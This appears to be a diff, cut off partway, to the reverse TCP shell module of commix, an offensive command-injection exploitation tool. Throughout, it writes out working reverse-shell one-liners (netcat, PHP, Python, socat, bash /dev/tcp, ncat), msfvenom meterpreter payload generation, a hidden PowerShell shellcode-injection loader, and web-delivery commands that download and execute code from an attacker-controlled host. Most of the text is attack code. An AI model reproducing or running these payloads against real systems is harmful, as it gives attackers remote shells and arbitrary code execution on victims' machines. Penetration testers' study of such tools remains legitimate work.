"Y" - if python_dir in settings.CHOICE_YES: - break - elif python_dir in settings.CHOICE_NO: - question_msg = "Please provide a full path directory for Python interpreter (e.g. '" - question_msg += "C:\\Python27\\python.exe') > " - settings.WIN_PYTHON_INTERPRETER = _input(settings.print_question_msg(question_msg)) - settings.USER_DEFINED_PYTHON_DIR = True - break - else: - err_msg = "'" + python_dir + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - -""" -Set up the Python interpreter on linux target host. -""" -def set_python_interpreter(): - while True: - if not menu.options.batch: - question_msg = "Do you want to use '" + settings.LINUX_PYTHON_INTERPRETER - question_msg += "' as Python interpreter on the target host? [Y/n] > " - python_interpreter = _input(settings.print_question_msg(question_msg)) - else: - python_interpreter = "" - if len(python_interpreter) == 0: - python_interpreter = "Y" - if python_interpreter in settings.CHOICE_YES: - break - elif python_interpreter in settings.CHOICE_NO: - question_msg = "Please provide a custom working interpreter for Python (e.g. '" - question_msg += "python27') > " - settings.LINUX_PYTHON_INTERPRETER = _input(settings.print_question_msg(question_msg)) - settings.USER_DEFINED_PYTHON_INTERPRETER = True - break - else: - err_msg = "'" + python_interpreter + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - -""" -check / set lhost option for reverse TCP connection -""" -def check_lhost(lhost): - settings.LHOST = lhost - print("LHOST => " + settings.LHOST) - return True - -""" -check / set lport option for reverse TCP connection -""" -def check_lport(lport): - try: - if float(lport): - settings.LPORT = lport - print("LPORT => " + settings.LPORT) - return True - except ValueError: - err_msg = "The provided port must be numeric (i.e. 1234)" - print(settings.print_error_msg(err_msg)) - return False - -""" -check / set srvport option for reverse TCP connection -""" -def check_srvport(srvport): - try: - if float(srvport): - settings.SRVPORT = srvport - print("SRVPORT => " + settings.SRVPORT) - return True - except ValueError: - err_msg = "The provided port must be numeric (i.e. 1234)" - print(settings.print_error_msg(err_msg)) - return False - -""" -check / set uripath option for reverse TCP connection -""" -def check_uripath(uripath): - settings.URIPATH = uripath - print("URIPATH => " + settings.URIPATH) - return True - """ Set up the netcat reverse TCP connection """ def netcat_version(separator): - + # Defined shell shell = "sh" @@ -227,15 +47,13 @@ def netcat_version(separator): "nc.openbsd" ] + settings.print_data_to_stdout(Style.BRIGHT + """Available netcat reverse TCP shell options:""" + Style.RESET_ALL + """ +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use the default Netcat on target host. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use Netcat for Busybox on target host. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use Netcat-Traditional on target host. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """4""" + Style.RESET_ALL + """' to use Netcat-Openbsd on target host.""") while True: - nc_version = _input(""" ----[ """ + Style.BRIGHT + Fore.BLUE + """Netcat reverse TCP shells""" + Style.RESET_ALL + """ ]--- -Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use the default Netcat on target host. -Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use Netcat for Busybox on target host. -Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use Netcat-Traditional on target host. -Type '""" + Style.BRIGHT + """4""" + Style.RESET_ALL + """' to use Netcat-Openbsd on target host. -\ncommix(""" + Style.BRIGHT + Fore.RED + """reverse_tcp_netcat""" + Style.RESET_ALL + """) > """) - + nc_version = _input("""commix(""" + Style.BRIGHT + Fore.RED + """reverse_tcp_netcat""" + Style.RESET_ALL + """) > """) # Default Netcat if nc_version == '1': nc_alternative = NETCAT_ALTERNATIVES[0] @@ -244,52 +62,32 @@ def netcat_version(separator): if nc_version == '2': nc_alternative = NETCAT_ALTERNATIVES[1] break - # Netcat-Traditional + # Netcat-Traditional elif nc_version == '3': nc_alternative = NETCAT_ALTERNATIVES[2] break - # Netcat-Openbsd (nc without -e) + # Netcat-Openbsd (nc without -e) elif nc_version == '4': nc_alternative = NETCAT_ALTERNATIVES[3] break - # Check for available shell options + # Check for available shell options elif any(option in nc_version.lower() for option in settings.SHELL_OPTIONS): - if shell_options(nc_version): - return shell_options(nc_version) - # Invalid option + if checks.shell_options(nc_version): + return checks.shell_options(nc_version) + # Invalid option else: - err_msg = "The '" + nc_version + "' option, is not valid." - print(settings.print_error_msg(err_msg)) + common.invalid_option(nc_version) continue - while True: - if not menu.options.batch: - question_msg = "Do you want to use '/bin' standard subdirectory? [y/N] > " - enable_bin_dir = _input(settings.print_question_msg(question_msg)) - else: - enable_bin_dir = "" - if len(enable_bin_dir) == 0: - enable_bin_dir = "n" - if enable_bin_dir in settings.CHOICE_NO: - break - elif enable_bin_dir in settings.CHOICE_YES : - nc_alternative = "/bin/" + nc_alternative - shell = "/bin/" + shell - break - elif enable_bin_dir in settings.CHOICE_QUIT: - raise SystemExit() - else: - err_msg = "'" + enable_bin_dir + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass + nc_alternative, shell = checks.use_bin_subdir(nc_alternative, shell) if nc_version != '4': # Netcat with -e - cmd = nc_alternative + " " + settings.LHOST + " " + settings.LPORT + " -e " + shell + cmd = nc_alternative + settings.SINGLE_WHITESPACE + settings.LHOST + settings.SINGLE_WHITESPACE + settings.LPORT + " -e " + shell else: - # nc without -e + # nc without -e cmd = shell + " -c \"" + shell + " 0/tmp/f\"" return cmd @@ -299,29 +97,26 @@ def netcat_version(separator): [1] http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet """ def other_reverse_shells(separator): - + settings.print_data_to_stdout(Style.BRIGHT + """Available generic reverse TCP shell options:""" + Style.RESET_ALL + """ +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use a PHP reverse TCP shell. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use a Perl reverse TCP shell. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use a Ruby reverse TCP shell. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """4""" + Style.RESET_ALL + """' to use a Python reverse TCP shell. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """5""" + Style.RESET_ALL + """' to use a Socat reverse TCP shell. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """6""" + Style.RESET_ALL + """' to use a Bash reverse TCP shell. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """7""" + Style.RESET_ALL + """' to use a Ncat reverse TCP shell. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """8""" + Style.RESET_ALL + """' to use a Python reverse TCP shell (windows). +""" + Style.BRIGHT + """Available meterpreter reverse TCP shell options:""" + Style.RESET_ALL + """ +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """9""" + Style.RESET_ALL + """' to use a PHP meterpreter reverse TCP shell. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """10""" + Style.RESET_ALL + """' to use a Python meterpreter reverse TCP shell. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """11""" + Style.RESET_ALL + """' to use a meterpreter reverse TCP shell (windows). +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """12""" + Style.RESET_ALL + """' to use the web delivery script.""") while True: - other_shell = _input(""" ----[ """ + Style.BRIGHT + Fore.BLUE + """Generic reverse TCP shells""" + Style.RESET_ALL + """ ]--- -Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use a PHP reverse TCP shell. -Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use a Perl reverse TCP shell. -Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use a Ruby reverse TCP shell. -Type '""" + Style.BRIGHT + """4""" + Style.RESET_ALL + """' to use a Python reverse TCP shell. -Type '""" + Style.BRIGHT + """5""" + Style.RESET_ALL + """' to use a Socat reverse TCP shell. -Type '""" + Style.BRIGHT + """6""" + Style.RESET_ALL + """' to use a Bash reverse TCP shell. -Type '""" + Style.BRIGHT + """7""" + Style.RESET_ALL + """' to use a Ncat reverse TCP shell. -Type '""" + Style.BRIGHT + """8""" + Style.RESET_ALL + """' to use a Python reverse TCP shell (windows). -\n---[ """ + Style.BRIGHT + Fore.BLUE + """Meterpreter reverse TCP shells""" + Style.RESET_ALL + """ ]--- -Type '""" + Style.BRIGHT + """9""" + Style.RESET_ALL + """' to use a PHP meterpreter reverse TCP shell. -Type '""" + Style.BRIGHT + """10""" + Style.RESET_ALL + """' to use a Python meterpreter reverse TCP shell. -Type '""" + Style.BRIGHT + """11""" + Style.RESET_ALL + """' to use a meterpreter reverse TCP shell (windows). -Type '""" + Style.BRIGHT + """12""" + Style.RESET_ALL + """' to use the web delivery script. -\ncommix(""" + Style.BRIGHT + Fore.RED + """reverse_tcp_other""" + Style.RESET_ALL + """) > """) - + other_shell = _input("""commix(""" + Style.BRIGHT + Fore.RED + """reverse_tcp_other""" + Style.RESET_ALL + """) > """) # PHP-reverse-shell if other_shell == '1': other_shell = "php -r '$sock=fsockopen(\"" + settings.LHOST + "\"," + settings.LPORT + ");" \ - "exec(\"/bin/sh -i <%263 >%263 2>%263\");'" + "$proc=proc_open(\"/bin/sh -i\",array(0%3d>$sock,1%3d>$sock,2%3d>$sock),$pipes);'" break # Perl-reverse-shell @@ -347,10 +142,10 @@ def other_reverse_shells(separator): "(IO.popen(l,\"rb\"){|fd| fd.each_line {|o| c.puts(o.strip) }}) rescue nil }'" break - # Python-reverse-shell + # Python-reverse-shell elif other_shell == '4': if not settings.USER_DEFINED_PYTHON_INTERPRETER: - set_python_interpreter() + checks.set_python_interpreter() other_shell = settings.LINUX_PYTHON_INTERPRETER + " -c 'import socket,subprocess,os%0d" \ "s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)%0d" \ "s.connect((\"" + settings.LHOST + "\"," + settings.LPORT + "))%0d" \ @@ -360,22 +155,22 @@ def other_reverse_shells(separator): "p=subprocess.call([\"/bin/sh\",\"-i\"])%0d'" break - # Socat-reverse-shell + # Socat-reverse-shell elif other_shell == '5': other_shell = "socat tcp-connect:" + settings.LHOST + ":" + settings.LPORT + \ " exec:\"sh\",pty,stderr,setsid,sigint,sane" break - # Bash-reverse-shell + # Bash-reverse-shell elif other_shell == '6': tmp_file = ''.join([random.choice(string.ascii_letters + string.digits) for n in xrange(5)]) other_shell = "echo \"/bin/sh 0>/dev/tcp/"+ settings.LHOST + "/" + settings.LPORT + \ - " 1>%260 2>%260\" > /tmp/" + tmp_file + " " + separator + " /bin/bash /tmp/" + tmp_file + " 1>%260 2>%260\" > /tmp/" + tmp_file + settings.SINGLE_WHITESPACE + separator + " /bin/bash /tmp/" + tmp_file break - # Ncat-reverse-shell + # Ncat-reverse-shell elif other_shell == '7': - other_shell = "ncat " + settings.LHOST + " " + settings.LPORT + " -e /bin/sh" + other_shell = "ncat " + settings.LHOST + settings.SINGLE_WHITESPACE + settings.LPORT + " -e /bin/sh" break # Windows Python-reverse-shell @@ -402,12 +197,12 @@ def other_reverse_shells(separator): "for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), " \ "globals(), __import__('contextlib'))" - if not settings.TARGET_OS == "win": - windows_only_attack_vector() + if not settings.TARGET_OS == settings.OS.WINDOWS: + checks.windows_only_attack_vector() continue else: - if not settings.USER_DEFINED_PYTHON_DIR: - set_python_working_dir() + if not settings.USER_DEFINED_PYTHON_DIR: + checks.set_python_working_dir() other_shell = settings.WIN_PYTHON_INTERPRETER + " -c " + "\"" + data + "\"" break @@ -415,26 +210,26 @@ def other_reverse_shells(separator): elif other_shell == '9': if not os.path.exists(settings.METASPLOIT_PATH): error_msg = settings.METASPLOIT_ERROR_MSG - print(settings.print_error_msg(error_msg)) + settings.print_data_to_stdout(settings.print_error_msg(error_msg)) continue payload = "php/meterpreter/reverse_tcp" output = "php_meterpreter.rc" info_msg = "Generating the '" + payload + "' payload. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + try: - proc = subprocess.Popen("msfvenom -p " + str(payload) + - " LHOST=" + str(settings.LHOST) + - " LPORT=" + str(settings.LPORT) + + proc = subprocess.Popen("msfvenom -p " + str(payload) + + " LHOST=" + str(settings.LHOST) + + " LPORT=" + str(settings.LPORT) + " -e php/base64 -o " + output + ">/dev/null 2>&1", shell=True).wait() with open (output, "r+") as content_file: data = content_file.readlines() - data = ''.join(data).replace("\n"," ") + data = ''.join(data).replace("\n",settings.SINGLE_WHITESPACE) - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) # Remove the ouput file. os.remove(output) with open(output, 'w+') as filewrite: @@ -444,41 +239,41 @@ def other_reverse_shells(separator): "set lport " + str(settings.LPORT) + "\n" "exploit\n\n") - if settings.TARGET_OS == "win" and not settings.USER_DEFINED_PHP_DIR: - set_php_working_dir() + if settings.TARGET_OS == settings.OS.WINDOWS and not settings.USER_DEFINED_PHP_DIR: + checks.set_php_working_dir() other_shell = settings.WIN_PHP_DIR + " -r " + data else: other_shell = "php -r \"" + data + "\"" - msf_launch_msg(output) + checks.msf_launch_msg(output) except: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) break # Python-reverse-shell (meterpreter) elif other_shell == '10': if not os.path.exists(settings.METASPLOIT_PATH): error_msg = settings.METASPLOIT_ERROR_MSG - print(settings.print_error_msg(error_msg)) + settings.print_data_to_stdout(settings.print_error_msg(error_msg)) continue payload = "python/meterpreter/reverse_tcp" output = "py_meterpreter.rc" info_msg = "Generating the '" + payload + "' payload. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + try: - proc = subprocess.Popen("msfvenom -p " + str(payload) + - " LHOST=" + str(settings.LHOST) + - " LPORT=" + str(settings.LPORT) + + proc = subprocess.Popen("msfvenom -p " + str(payload) + + " LHOST=" + str(settings.LHOST) + + " LPORT=" + str(settings.LPORT) + " -o " + output + ">/dev/null 2>&1", shell=True).wait() - + with open (output, "r") as content_file: data = content_file.readlines() data = ''.join(data) - #data = base64.b64encode(data.encode(settings.UNICODE_ENCODING)).decode() - - print(settings.SINGLE_WHITESPACE) + #data = base64.b64encode(data.encode(settings.DEFAULT_CODEC)).decode() + + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) # Remove the ouput file. os.remove(output) with open(output, 'w+') as filewrite: @@ -488,54 +283,51 @@ def other_reverse_shells(separator): "set lport " + str(settings.LPORT) + "\n" "exploit\n\n") - if settings.TARGET_OS == "win": - if not settings.USER_DEFINED_PYTHON_DIR: - set_python_working_dir() - other_shell = settings.WIN_PYTHON_INTERPRETER + " -c " + "\"" + data + "\"" + if settings.TARGET_OS == settings.OS.WINDOWS: + if not settings.USER_DEFINED_PYTHON_DIR: + checks.set_python_working_dir() + other_shell = settings.WIN_PYTHON_INTERPRETER + " -c " + "\"" + data + "\"" else: if not settings.USER_DEFINED_PYTHON_INTERPRETER: - set_python_interpreter() + checks.set_python_interpreter() other_shell = settings.LINUX_PYTHON_INTERPRETER + " -c " + "\"" + data + "\"" - msf_launch_msg(output) + checks.msf_launch_msg(output) except: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) break - + # Powershell injection attacks elif other_shell == '11': - if not settings.TARGET_OS == "win": - windows_only_attack_vector() + if not settings.TARGET_OS == settings.OS.WINDOWS: + checks.windows_only_attack_vector() continue else: + settings.print_data_to_stdout(Style.BRIGHT + """Available powershell injection options:""" + Style.RESET_ALL + """ +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use shellcode injection with native x86 shellcode. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use TrustedSec's Magic Unicorn.""") while True: - windows_reverse_shell = _input(""" ----[ """ + Style.BRIGHT + Fore.BLUE + """Powershell injection attacks""" + Style.RESET_ALL + """ ]--- -Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use shellcode injection with native x86 shellcode. -Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use TrustedSec's Magic Unicorn. -\ncommix(""" + Style.BRIGHT + Fore.RED + """windows_meterpreter_reverse_tcp""" + Style.RESET_ALL + """) > """) - - if any(option in windows_reverse_shell.lower() for option in settings.SHELL_OPTIONS): - if shell_options(windows_reverse_shell): - return shell_options(windows_reverse_shell) + windows_reverse_shell = _input("""commix(""" + Style.BRIGHT + Fore.RED + """windows_meterpreter_reverse_tcp""" + Style.RESET_ALL + """) > """) + if any(option in windows_reverse_shell.lower() for option in settings.SHELL_OPTIONS): + if checks.shell_options(windows_reverse_shell): + return checks.shell_options(windows_reverse_shell) elif windows_reverse_shell == '1' : output = "powershell_attack.rc" elif windows_reverse_shell == '2' : output = "powershell_attack.txt" else: - err_msg = "The '" + windows_reverse_shell + "' option, is not valid." - print(settings.print_error_msg(err_msg)) + common.invalid_option(windows_reverse_shell) continue if not os.path.exists(settings.METASPLOIT_PATH): error_msg = settings.METASPLOIT_ERROR_MSG - print(settings.print_error_msg(error_msg)) + settings.print_data_to_stdout(settings.print_error_msg(error_msg)) continue payload = "windows/meterpreter/reverse_tcp" # Shellcode injection with native x86 shellcode if windows_reverse_shell == '1': - gen_payload_msg(payload) + checks.gen_payload_msg(payload) try: proc = subprocess.Popen("msfvenom -p " + str(payload) + " LHOST=" + str(settings.LHOST) + " LPORT=" + str(settings.LPORT) + " -f c -o " + output + ">/dev/null 2>&1", shell=True).wait() with open(output, 'r') as content_file: @@ -544,17 +336,17 @@ def other_reverse_shells(separator): # One line shellcode injection with native x86 shellcode # Greetz to Dave Kennedy (@HackingDave) powershell_code = (r"""$1 = '$c = ''[DllImport("kernel32.dll")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport("msvcrt.dll")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);'';$w = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$sc64 = %s;[Byte[]]$sc = $sc64;$size = 0x1000;if ($sc.Length -gt 0x1000) {$size = $sc.Length};$x=$w::VirtualAlloc(0,0x1000,$size,0x40);for ($i=0;$i -le ($sc.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;) { Start-sleep 60 };';$goat = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($1));if($env:PROCESSOR_ARCHITECTURE -eq "AMD64"){$x86 = $env:SystemRoot + "syswow64WindowsPowerShellv1.0powershell";$cmd = "-noninteractive -EncodedCommand";iex "& $x86 $cmd $goat"}else{$cmd = "-noninteractive -EncodedCommand";iex "& powershell $cmd $goat";}""" % (shellcode)) - other_shell = "powershell -noprofile -windowstyle hidden -noninteractive -EncodedCommand " + base64.b64encode(powershell_code.encode('utf_16_le')) - print(settings.SINGLE_WHITESPACE) + other_shell = "powershell -noprofile -windowstyle hidden -noninteractive -EncodedCommand " + base64.b64encode(powershell_code.encode('utf_16_le')) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) with open(output, 'w+') as filewrite: filewrite.write("use exploit/multi/handler\n" "set payload " + payload + "\n" "set lhost " + str(settings.LHOST) + "\n" "set lport " + str(settings.LPORT) + "\n" "exploit\n\n") - msf_launch_msg(output) + checks.msf_launch_msg(output) except: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) break # TrustedSec's Magic Unicorn (3rd Party) @@ -569,21 +361,21 @@ def other_reverse_shells(separator): for line in unicorn_file: line = line.rstrip() if "Magic Unicorn Attack Vector v" in line: - unicorn_version = line.replace("Magic Unicorn Attack Vector v", "").replace(" ", "").replace("-","").replace("\"","").replace(")","") - break + unicorn_version = line.replace("Magic Unicorn Attack Vector v", "").replace(settings.SINGLE_WHITESPACE, "").replace("-", "").replace("\"", "").replace(")", "") + break except: - unicorn_version = "" + unicorn_version = "" update.check_unicorn_version(unicorn_version) try: if len(unicorn_version) == 0: unicorn_path = os.path.abspath(os.path.join(os.path.dirname(__file__), '../../', 'thirdparty/unicorn')) os.chdir(unicorn_path) - gen_payload_msg(payload) - subprocess.Popen("python unicorn.py" + " " + str(payload) + " " + str(settings.LHOST) + " " + str(settings.LPORT) + ">/dev/null 2>&1", shell=True).wait() + checks.gen_payload_msg(payload) + subprocess.Popen("python unicorn.py" + settings.SINGLE_WHITESPACE + str(payload) + settings.SINGLE_WHITESPACE + str(settings.LHOST) + settings.SINGLE_WHITESPACE + str(settings.LPORT) + ">/dev/null 2>&1", shell=True).wait() with open(output, 'r') as content_file: other_shell = content_file.read().replace('\n', '') - other_shell = _urllib.parse.quote_plus(other_shell) - print(settings.SINGLE_WHITESPACE) + other_shell = _urllib.parse.quote_plus(other_shell) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) # Remove the ouput file os.remove(output) with open("unicorn.rc", 'w+') as filewrite: @@ -592,29 +384,27 @@ def other_reverse_shells(separator): "set lhost " + str(settings.LHOST) + "\n" "set lport " + str(settings.LPORT) + "\n" "exploit\n\n") - msf_launch_msg("unicorn.rc") + checks.msf_launch_msg("unicorn.rc") # Return to the current path. os.chdir(current_path) except: - continue + continue except: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) break break - + # Web delivery script elif other_shell == '12': + settings.print_data_to_stdout(Style.BRIGHT + """Available web delivery script options:""" + Style.RESET_ALL + """ +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use Python meterpreter reverse TCP shell. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use PHP meterpreter reverse TCP shell. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use meterpreter reverse TCP shell (windows).""") while True: - web_delivery = _input(""" ----[ """ + Style.BRIGHT + Fore.BLUE + """Web delivery script""" + Style.RESET_ALL + """ ]--- -Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use Python meterpreter reverse TCP shell. -Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use PHP meterpreter reverse TCP shell. -Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use meterpreter reverse TCP shell (windows). -\ncommix(""" + Style.BRIGHT + Fore.RED + """web_delivery""" + Style.RESET_ALL + """) > """) - - if any(option in web_delivery.lower() for option in settings.SHELL_OPTIONS): - if shell_options(web_delivery): - return shell_options(web_delivery) + web_delivery = _input("""commix(""" + Style.BRIGHT + Fore.RED + """web_delivery""" + Style.RESET_ALL + """) > """) + if any(option in web_delivery.lower() for option in settings.SHELL_OPTIONS): + if checks.shell_options(web_delivery): + return checks.shell_options(web_delivery) elif web_delivery == '1': payload = "python/meterpreter/reverse_tcp" elif web_delivery == '2': @@ -622,13 +412,12 @@ def other_reverse_shells(separator): elif web_delivery == '3': payload = "windows/meterpreter/reverse_tcp" else: - err_msg = "The '" + web_delivery + "' option, is not valid." - print(settings.print_error_msg(err_msg)) + common.invalid_option(web_delivery) continue if not os.path.exists(settings.METASPLOIT_PATH): error_msg = settings.METASPLOIT_ERROR_MSG - print(settings.print_error_msg(error_msg)) + settings.print_data_to_stdout(settings.print_error_msg(error_msg)) continue if 'payload' in locals(): @@ -645,41 +434,40 @@ def other_reverse_shells(separator): if web_delivery == '1': data = "import sys%3bimport ssl%3bu%3d__import__('urllib'%2b{2%3a'',3%3a'.request'}[sys.version_info[0]],fromlist%3d('urlopen',))%3br%3du.urlopen('http://" + str(settings.LHOST) + ":" + str(settings.SRVPORT) + settings.URIPATH + "',context%3dssl._create_unverified_context())%3bexec(r.read())%3b" - if settings.TARGET_OS == "win": - if not settings.USER_DEFINED_PYTHON_DIR: - set_python_working_dir() + if settings.TARGET_OS == settings.OS.WINDOWS: + if not settings.USER_DEFINED_PYTHON_DIR: + checks.set_python_working_dir() other_shell = settings.WIN_PYTHON_INTERPRETER + " -c " + "\"" + data + "\"" else: if not settings.USER_DEFINED_PYTHON_INTERPRETER: - set_python_interpreter() + checks.set_python_interpreter() other_shell = settings.LINUX_PYTHON_INTERPRETER + " -c " + "\"" + data + "\"" - msf_launch_msg(output) + checks.msf_launch_msg(output) break elif web_delivery == '2': - if settings.TARGET_OS == "win" and not settings.USER_DEFINED_PHP_DIR: - set_php_working_dir() + if settings.TARGET_OS == settings.OS.WINDOWS and not settings.USER_DEFINED_PHP_DIR: + checks.set_php_working_dir() other_shell = settings.WIN_PHP_DIR + " -d allow_url_fopen=true -r eval(file_get_contents('http://" + str(settings.LHOST) + ":" + str(settings.SRVPORT) + settings.URIPATH + "'));" else: other_shell = "php -d allow_url_fopen=true -r \"eval(file_get_contents('http://" + str(settings.LHOST) + ":" + str(settings.SRVPORT) + settings.URIPATH + "'));\"" - msf_launch_msg(output) + checks.msf_launch_msg(output) break elif web_delivery == '3': - if not settings.TARGET_OS == "win": - windows_only_attack_vector() + if not settings.TARGET_OS == settings.OS.WINDOWS: + checks.windows_only_attack_vector() continue else: other_shell = "powershell -nop -w hidden -c $x=new-object net.webclient;$x.proxy=[Net.WebRequest]::GetSystemWebProxy(); $x.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials; IEX $x.downloadstring('http://" + str(settings.LHOST) + ":" + str(settings.SRVPORT) + settings.URIPATH + "');" - msf_launch_msg(output) + checks.msf_launch_msg(output) break break - # Check for available shell options + # Check for available shell options elif any(option in other_shell.lower() for option in settings.SHELL_OPTIONS): - if shell_options(other_shell): - return shell_options(other_shell) + if checks.shell_options(other_shell): + return checks.shell_options(other_shell) # Invalid option else: - err_msg = "The '" + other_shell + "' option, is not valid." - print(settings.print_error_msg(err_msg)) + common.invalid_option(other_shell) continue return other_shell @@ -689,42 +477,41 @@ def other_reverse_shells(separator): """ def reverse_tcp_options(separator): + settings.print_data_to_stdout(Style.BRIGHT + """Available reverse TCP shell options:""" + Style.RESET_ALL + """ +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' for netcat reverse TCP shells. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' for other reverse TCP shells.""") while True: - reverse_tcp_option = _input(""" ----[ """ + Style.BRIGHT + Fore.BLUE + """Reverse TCP shells""" + Style.RESET_ALL + """ ]--- -Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' for netcat reverse TCP shells. -Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' for other reverse TCP shells. -\ncommix(""" + Style.BRIGHT + Fore.RED + """reverse_tcp""" + Style.RESET_ALL + """) > """) - - if reverse_tcp_option.lower() == "reverse_tcp": - warn_msg = "You are already into the '" + reverse_tcp_option.lower() + "' mode." - print(settings.print_warning_msg(warn_msg)) + reverse_tcp_option = _input("""commix(""" + Style.BRIGHT + Fore.RED + """reverse_tcp""" + Style.RESET_ALL + """) > """) + if reverse_tcp_option.lower() == "reverse_tcp": + warn_msg = "You are into the '" + reverse_tcp_option.lower() + "' mode." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) continue # Option 1 - Netcat shell elif reverse_tcp_option == '1' : reverse_tcp_option = netcat_version(separator) if reverse_tcp_option.lower() not in settings.SHELL_OPTIONS: - shell_success() + checks.shell_success("reverse") break elif reverse_tcp_option.lower() in settings.SHELL_OPTIONS: return reverse_tcp_option else: - pass + pass # Option 2 - Other (Netcat-Without-Netcat) shells elif reverse_tcp_option == '2' : reverse_tcp_option = other_reverse_shells(separator) + if settings.EVAL_BASED_STATE != False: + reverse_tcp_option = reverse_tcp_option.replace("$","\\$") if reverse_tcp_option.lower() not in settings.SHELL_OPTIONS: - shell_success() + checks.shell_success("reverse") break - # Check for available shell options + # Check for available shell options elif any(option in reverse_tcp_option.lower() for option in settings.SHELL_OPTIONS): - if shell_options(reverse_tcp_option): - return shell_options(reverse_tcp_option) - # Invalid option + if checks.shell_options(reverse_tcp_option): + return checks.shell_options(reverse_tcp_option) + # Invalid option else: - err_msg = "The '" + reverse_tcp_option + "' option, is not valid." - print(settings.print_error_msg(err_msg)) + common.invalid_option(reverse_tcp_option) continue return reverse_tcp_option @@ -735,28 +522,29 @@ def reverse_tcp_options(separator): def configure_reverse_tcp(separator): # Set up LHOST for the reverse TCP connection while True: - option = _input("""commix(""" + Style.BRIGHT + Fore.RED + """reverse_tcp""" + Style.RESET_ALL + """) > """) - if option.lower() == "reverse_tcp": - warn_msg = "You are already into the '" + option.lower() + "' mode." - 